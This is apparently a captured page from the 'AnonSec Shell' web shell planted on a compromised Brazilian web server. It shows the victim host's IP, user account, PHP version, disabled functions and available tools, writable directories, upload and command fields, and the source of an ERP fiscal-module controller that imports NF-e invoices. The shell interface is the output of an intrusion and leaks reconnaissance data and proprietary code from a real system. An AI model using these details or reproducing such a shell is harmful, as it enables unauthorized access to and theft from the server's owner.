AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leve/application/plugins/modulo_fiscal/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leve/application/plugins/modulo_fiscal/controllers/importar.php
<?php

_auth();

$ui->assign('_application_menu', 'modulo_fiscal');
$ui->assign('_title', $_L['Fiscal Module'] . ' - ' . $config['CompanyName']);
$ui->assign('_st', $_L['Fiscal Module']);
$action = $routes['2'];
$user = User::_info();
$ui->assign('user', $user);
$dir = "application/plugins/modulo_fiscal";

switch ($action) {
    case 'list':

        $listaConfigApp = ORM::for_table('app_fiscal_config')->find_many();
        foreach ($listaConfigApp as $da) {
            $dataCompany[$da['key']] = $da['value'];
        }

        if (sizeof($listaConfigApp) < 1) {
            $ui->assign('status', 'semConfig');
            $ui->assign('_include', 'semConfigUpNfe');
            $ui->display('wrapper.tpl');
            break;
        }

        if (empty($dataCompany['note_environment']) ||
                empty($dataCompany['company_cnpj']) ||
                empty($dataCompany['certificate'])) {
            $ui->assign('status', 'configInvalid');
            $ui->assign('_include', 'semConfigUpNfe');
            $ui->display('wrapper.tpl');
            break;
        }

        if (!file_exists('application/plugins/modulo_fiscal/empresa/certs/' . $dataCompany['certificate'])) {
            $ui->assign('status', 'semCert');
            $ui->assign('_include', 'semConfigUpNfe');
            $ui->display('wrapper.tpl');
            break;
        }

        $ui->assign('xheader', '<link rel="stylesheet" type="text/css" href="' . $dir . '/assets/css/default.css"><link rel="stylesheet" type="text/css" href="ui/lib/dropzone/dropzone.css">');

        $ui->assign('xfooter', '<script type="text/javascript" src="' . $dir . '/assets/js/default.js"></script><script type="text/javascript" src="ui/lib/dropzone/dropzone.js"></script>');

        $ui->assign('_include', 'importar-list');
        $ui->display('wrapper.tpl');
        break;

    case 'import_nfe_xml':

        require_once $dir . '/controllers/loadXML.php';

        break;

    case 'import-manual-post':
        $msg = "";
        $d['crm_account_id'] = _post('payee');
        if (empty($d['crm_account_id'])) {
            $msg.=$_L['Payee'] . " " . $_L['is required'];
        }
        if (!isset($_POST['product'])) {
            $msg.=$_L['module_fiscal Input one Item'];
        }

        if (empty($msg)) {
            $d['type'] = _post('type_note');
            $d['key'] = _post('key');
            $d['number'] = _post('number_note');
            $d['series'] = _post('series_note');
            

            //$sales_price = Finance::amount_fix(_post('sales_price'));

            $valida = ORM::for_table('app_fiscal_nfe_imported')
                    ->select('*')
                    ->where('key', $d['key'])
                    ->where('crm_account_id', $d['crm_account_id'])
                    ->where('type', $d['type'])
                    ->where('number', $d['number'])
                    ->where('series', $d['series'])
                    ->find_many();

            if (sizeof($valida) > 0) {
                echo $_L['module_fiscal This note already imported'];
                return;
            }

            $d['emission_date'] = _postDate('emission_date', $_c);
            $d['input_date'] = _postDate('input_date', $_c);
            $d['extra_expense'] = Finance::amount_fix(_post('extra_expense'));
            $d['total'] = Finance::amount_fix(_post('total'));
            $d['number_itens'] = count($_POST['product']);
            $d['notes'] = _post('notes');
            $d['total_freight'] = Finance::amount_fix(_post('total_freight'));
            $d['total_safe'] = Finance::amount_fix(_post('total_safe'));
            $d['total_other_expense'] = Finance::amount_fix(_post('total_other_expensetal'));
            $d['total_discount'] = Finance::amount_fix(_post('total_discount'));
            $d['total_icms'] = Finance::amount_fix(_post('total_icms'));
            $d['total_icms_st'] = Finance::amount_fix(_post('total_icms_st'));
            $d['total_ipi'] = Finance::amount_fix(_post('total_ipi'));
            $d['total_products'] = Finance::amount_fix(_post('total_products'));
            $d['total_pis'] = Finance::amount_fix(_post('total_pis'));
            $d['total_cofins'] = Finance::amount_fix(_post('total_cofins'));
            $d['total_icms_uf_dest'] = Finance::amount_fix(_post('total_icms_uf_dest'));
            $d['total_icms_uf_rem'] = Finance::amount_fix(_post('total_icms_uf_rem'));
            $d['total_fcp'] = Finance::amount_fix(_post('total_fcp'));
            $d['total_ii'] = Finance::amount_fix(_post('total_ii'));


            require_once $dir . '/controllers/criaDataXML.php';
            $dataXml = new criaDataXML();
            $ncm = $_POST['ncm'];
            $unit_sale = $_POST['unit_sale'];
            $unit_buy = $_POST['unit_buy'];
            $itens_carton = $_POST['itens_carton'];
            $cfop = $_POST['cfop'];
            $cst_dest = $_POST['cst_dest'];
            $freight = $_POST['freight'];
            $safe = $_POST['safe'];
            $other_expense = $_POST['other_expense'];
            $aliq_ipi = $_POST['aliq_ipi'];
            $value_ipi = $_POST['value_ipi'];
            $bbc_icms_value = $_POST['bbc_icms_value'];
            $bbc_icms = $_POST['bbc_icms'];
            $value_icms = $_POST['value_icms'];
            $aliq_icms = $_POST['aliq_icms'];
            $value_icms_st = $_POST['value_icms_st'];
            $imp_federal = $_POST['imp_federal'];
            $aliq_pis = $_POST['aliq_pis'];
            $aliq_cofins = $_POST['aliq_cofins'];
            $product_code = $_POST['product_code'];
            $products = $_POST['product'];
            $qty = $_POST['qty'];
            $amount = $_POST['amount'];
            $item_discount = $_POST['item_discount'];
            $cost_per_item = $_POST['cost_per_item'];
            $margem_lucro = $_POST['margem_lucro'];
            $preco_atual = $_POST['preco_atual'];

            $i = '0';
            foreach ($products as $product) {
                $data['xProd'] = $product;
                $data['NCM'] = preg_replace('/\D/', '', $ncm[$i]);
                //  $data['unit_prod']=$unit_sale[$i];
                $data['vUnCom'] = Finance::amount_fix($amount[$i]);
                $data['cProd'] = $product_code[$i];
                if ($unit_sale[$i] != $unit_buy[$i]) {
                    $data['qCom'] = Finance::amount_fix($qty[$i] * $itens_carton[$i]);
                } else {
                    $data['qCom'] = Finance::amount_fix($qty[$i]);
                }
                $unit_prod = ORM::for_table('sys_items_unit')
                        ->find_one($unit_sale[$i]);
                $data['uCom'] = $unit_prod['initials'];
                $dataXml->gravaOPeracao($data, $_L['Input by Invoice manual']);

                //////////////////
                $d['products'][$i]['ncm'] = $ncm[$i];
                $d['products'][$i]['unit_sale'] = $unit_sale[$i];
                $d['products'][$i]['unit_buy'] = $unit_buy[$i];
                $d['products'][$i]['itens_carton'] = $itens_carton[$i];
                $d['products'][$i]['cfop'] = $cfop[$i];
                $d['products'][$i]['cst_dest'] = $cst_dest[$i];
                $d['products'][$i]['freight'] = $freight[$i];
                $d['products'][$i]['safe'] = $safe[$i];
                $d['products'][$i]['other_expense'] = $other_expense[$i];
                $d['products'][$i]['aliq_ipi'] = $aliq_ipi[$i];
                $d['products'][$i]['value_ipi'] = $value_ipi[$i];
                $d['products'][$i]['bbc_icms_value'] = $bbc_icms_value[$i];
                $d['products'][$i]['bbc_icms'] = $bbc_icms[$i];
                $d['products'][$i]['value_icms'] = $value_icms[$i];
                $d['products'][$i]['aliq_icms'] = $aliq_icms[$i];
                $d['products'][$i]['value_icms_st'] = $value_icms_st[$i];
                $d['products'][$i]['imp_federal'] = $imp_federal[$i];
                $d['products'][$i]['aliq_pis'] = $aliq_pis[$i];
                $d['products'][$i]['aliq_cofins'] = $aliq_cofins[$i];
                $d['products'][$i]['product_code'] = $product_code[$i];
                $d['products'][$i]['products'] = $products[$i];
                $d['products'][$i]['qty'] = $qty[$i];
                $d['products'][$i]['amount'] = $amount[$i];
                $d['products'][$i]['item_discount'] = $item_discount[$i];
                $d['products'][$i]['cost_per_item'] = $cost_per_item[$i];
                $d['products'][$i]['margem_lucro'] = $margem_lucro[$i];
                $d['products'][$i]['preco_atual'] = $preco_atual[$i];
                $i++;
            }
            $controle_nfe = ORM::for_table('app_fiscal_nfe_imported')
                    ->create();
            $controle_nfe->key = $d['key'];
            $controle_nfe->crm_account_id = $d['crm_account_id'];
            $controle_nfe->type = $d['type'];
            $controle_nfe->number = $d['number'];
            $controle_nfe->series = $d['series'];
            $controle_nfe->input_date = $d['input_date'];
            $controle_nfe->emission_date = $d['emission_date'];
            $controle_nfe->json = json_encode($d);
            $controle_nfe->save();
            _notify($_L['Input by Invoice manual'] . " " . $_L['Add Successfull'], 's');
            echo 'OK';
        } else {
            echo $msg;
        }

        break;
    case 'import_note_manual':
        $css_arr = array('s2/css/select2.min', 'modal', 'dp/dist/datepicker.min', 'redactor/redactor');
        $js_arr = array('redactor/redactor.min', 's2/js/select2.min', 's2/js/i18n/' . lan(), 'dp/dist/datepicker.min', 'dp/i18n/' . $config['language'], 'numeric', 'modal');

//        $ui->assign('xheader', '<link rel="stylesheet" type="text/css" href="' . $dir . '/assets/css/import-manual.css">');
        $ui->assign('xheader', Asset::css($css_arr));
        $ui->assign('xfooter', Asset::js($js_arr) . Asset::js_external(APP_URL . "/application/plugins/modulo_fiscal/assets/js/import-manual.js"));
        $ui->assign('jsvar', '
            _L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
            _L[\'Save\'] = \'' . $_L['Save'] . '\';
            _L[\'module_fiscal items in the carton\'] = \'' . $_L['module_fiscal items in the carton'] . '\';      
             _L[\'module_fiscal Select unit buy\'] = \'' . $_L['module_fiscal Select unit buy'] . '\';
            _L[\'module_fiscal Select unit sale\'] = \'' . $_L['module_fiscal Select unit sale'] . '\';
            _L[\'is required\'] = \'' . $_L['is required'] . '\';            
            _L[\'module_fiscal Qty\'] = \'' . $_L['module_fiscal Qty'] . '\';
            _L[\'Item Note\'] = \'' . $_L['Item Note'] . '\';
            _L[\'Price\'] = \'' . $_L['Price'] . '\';
            _L[\'module_fiscal Select one Item\'] = \'' . $_L['module_fiscal Select one Item'] . '\';  
            _L[\'Select\'] = \'' . $_L['Select'] . '\';  
            _L[\'Cancel\'] = \'' . $_L['Cancel'] . '\';
            _L[\'Name\'] = \'' . $_L['Name'] . '\';
            _L[\'NCM\'] = \'' . $_L['NCM'] . '\';
            _L[\'Add New\'] = \'' . $_L['Add New'] . '\';
            _L[\'Select Payee\'] = \'' . $_L['Select Payee'] . '\';
            _L[\'Select the item first.\'] = \'' . $_L['Select the item first.'] . '\'; 
            _L[\'Select\'] = \'' . $_L['Select'] . '\'; 
            _L[\'There are no items to add\'] = \'' . $_L['There are no items to add'] . '\';     
        ');
        $cfop = ORM::for_table('cfop')->order_by_asc('id')->find_many();
        $ui->assign('cfop', $cfop);
        $ui->assign('_include', 'import-manual');
        $ui->display('wrapper.tpl');
        break;

    case 'import_nfe_gov_cnpj':

        
        require_once $dir . '/nfephp/bootstrap.php';
        require_once $dir . '/controllers/config_nota.php';
        require_once $dir . '/controllers/criaDataXML.php';

        $listaConfigApp = ORM::for_table('app_fiscal_config')->find_many();
        foreach ($listaConfigApp as $da) {
            $dataCompany[$da['key']] = $da['value'];
        }
        
        
        
        $nfe = new NFePHP\NFe\ToolsNFe(geraConfig($dataCompany, 'Nfe'));
        $nfe->setModelo('55');


        $cnpj = str_replace('/', '', str_replace('-', '', str_replace('.', '', $dataCompany['company_cnpj'])));

        $aResposta = array();

//        $tpAmb = ($dataCompany['note_environment'] == 'homologacao') ? 2 : 1;
//        $aResposta = array();

        
        
        

        $ultNSU = 0; // se estiver como zero irá retornar os dados dos ultimos 15 dias até o limite de 50 registros
                     // se for diferente de zero irá retornar a partir desse numero os dados dos
                     // últimos 15 dias até o limite de 50 registros

        $numNSU = 0; // se estiver como zero irá usar o ultNSU
                     // se for diferente de zero não importa o que está contido em ultNSU será retornado apenas
                     // os dados deste NSU em particular

        $tpAmb = '1';// esses dados somente existirão em ambiente de produção pois em ambiente de testes
                     // não existem dados de eventos, nem de NFe emitidas para o seu CNPJ

        $cnpj = ''; // deixando vazio irá pegar o CNPJ default do config
                    // se for colocado um CNPJ tenha certeza que o certificado está autorizado a
                    // baixar os dados desse CNPJ pois se não estiver autorizado haverá uma
                    // mensagem de erro da SEFAZ

        //array que irá conter os dados de retorno da SEFAZ
        $aResposta = array();

        //essa rotina deve rá ser repetida a cada hora até que o maxNSU retornado esteja contido no NSU da mensagem
        //se estiver já foram baixadas todas as referencias a NFe, CTe e outros eventos da NFe e não a mais nada a buscar
        //outro detalhe é que não adianta tentar buscar dados muito antigos o sistema irá informar que 
        //nada foi encontrado, porque a SEFAZ não mantêm os NSU em base de dados por muito tempo, em 
        //geral são mantidos apenas os dados dos últimos 15 dias.
        //Os dados são retornados em formato ZIP dento do xml, mas no array os dados 
        //já são retornados descompactados para serem lidos
        $xml = $nfe->sefazDistDFe('AN', $tpAmb, $cnpj, $ultNSU, $numNSU, $aResposta);
        
        var_dump($xml);exit;
        
        break;
        
        
    case 'import_nfe_gov':

        $chNFe = $routes['3'];

        $validaNfe = ORM::for_table('app_fiscal_nfe_imported')
                ->select('*')
                ->where('key', $chNFe)
                ->find_many();

        if (sizeof($validaNfe) > 0) {
            echo "<br><br><div class='alert alert-danger'>Esta nota já foi importada!</div>";
            return;
        }


        require_once $dir . '/nfephp/bootstrap.php';
        require_once $dir . '/controllers/config_nota.php';
        require_once $dir . '/controllers/criaDataXML.php';

        $listaConfigApp = ORM::for_table('app_fiscal_config')->find_many();
        foreach ($listaConfigApp as $da) {
            $dataCompany[$da['key']] = $da['value'];
        }

        $nfe = new NFePHP\NFe\ToolsNFe(geraConfig($dataCompany, 'Nfe'));
        $nfe->setModelo('55');


        $cnpj = str_replace('/', '', str_replace('-', '', str_replace('.', '', $dataCompany['company_cnpj'])));

        $aResposta = array();

        $tpAmb = ($dataCompany['note_environment'] == 'homologacao') ? 2 : 1;
        $aResposta = array();

        $resp = $nfe->sefazDownload($chNFe, $tpAmb, $cnpj, $aResposta);

        $xml_Nfe = new criaDataXML();
        $retorno = $xml_Nfe->trataRetorno($aResposta);
        // $make->insDadosXML();

        if ($retorno == "Manifest") {
            $xJust = '';
            $tpEvento = '210210'; //ciencia da operação
            $xml = $nfe->sefazManifesta($chNFe, $tpAmb, $xJust = '', $tpEvento, $aResposta);
            $resp = $nfe->sefazDownload($chNFe, $tpAmb, $cnpj, $aResposta);
            $retorno = trataRetorno($aResposta);
        }

        echo $retorno . "<br><br>";

        if (strpos($retorno, "sucesso")) {
            if (sizeof($xml_Nfe->product_inseted) > 0) {
                echo "<div class='alert alert-success'>Produtos inseridos:<br><br>";
                $i = 1;
                echo "<ul>";
                while ($i <= sizeof($xml_Nfe->product_inseted)) {
                    echo "<li>" . $xml_Nfe->product_inseted[$i] . "</li>";
                    $i++;
                }
                echo "<ul></div>";
            } else {
                echo "<div class='alert alert-success'>Todos os produtos presentes na nota já haviam no sistema, não houveram inserções, mas o estoque foi atualizado de acordo com as quantidades presentes na nota.</div>";
            }

            $controle_nfe = ORM::for_table('app_fiscal_nfe_imported')
                    ->create();
            $controle_nfe->key = $chNFe;
            $controle_nfe->save();
        }

        break;


    case 'add':

        // Include list.tpl file from views/add.tpl
        $ui->assign('_include', 'add');

        // Wrap the Contents & Display The Page
        $ui->display('wrapper.tpl');

        break;

    case 'add_post':

        // Grab the data from Previous Page

        $title = _post('title');
        $contents = _post('contents');

        if ($title == '') {
            r2(U . 'notes/init/add/', 'e', 'Note Title is Required');
        }

        // We want to store data to app_notes table
        $note = ORM::for_table('app_notes')->create();

        // Set data for title column
        $note->title = $title;

        // Set data for contents column
        $note->contents = $contents;

        // Finally Store the data
        $note->save();

        // All done, Let's redirect the user to list notes

        r2(U . 'notes/init/list/', 's', 'Note Added Successfully');

        break;


    case 'edit':

        // Get note id from the URL

        $id = $routes['3'];

        // Find note by id

        $note = ORM::for_table('app_notes')->find_one($id);

        // Assign Note for views

        $ui->assign('note', $note);

        // Include edit.tpl file from views/edit.tpl
        $ui->assign('_include', 'edit');

        // Wrap the Contents & Display The Page
        $ui->display('wrapper.tpl');

        break;


    case 'edit_post':

        // Grab the data from Previous Page

        $id = _post('id');

        // Find the note by id

        $note = ORM::for_table('app_notes')->find_one($id);

        if (!$note) {
            r2(U . 'notes/init/list/', 'e', 'Note Not Found');
        }

        $title = _post('title');
        $contents = _post('contents');

        if ($title == '') {
            r2(U . 'notes/init/edit/' . $id . '/', 'e', 'Note Title is Required');
        }

        // Set New data for note title
        $note->title = $title;

        // Set data for note contents
        $note->contents = $contents;

        // Finally Store the data
        $note->save();

        // All done, Let's redirect the user and show that Note Updated

        r2(U . 'notes/init/edit/' . $id . '/', 's', 'Note Edited Successfully');

        break;


    case 'delete':

        // Get note id from the URL

        $id = $routes['3'];

        // Find note by id

        $note = ORM::for_table('app_notes')->find_one($id);

        // Delete Note

        if ($note) {
            $note->delete();
        }

        // Done, Let's Redirect the User to the List Notes

        r2(U . 'notes/init/list/', 's', 'Note Deleted Successfully');

        break;


    default:
        echo 'action not defined';
}

Anon7 - 2022
AnonSec Team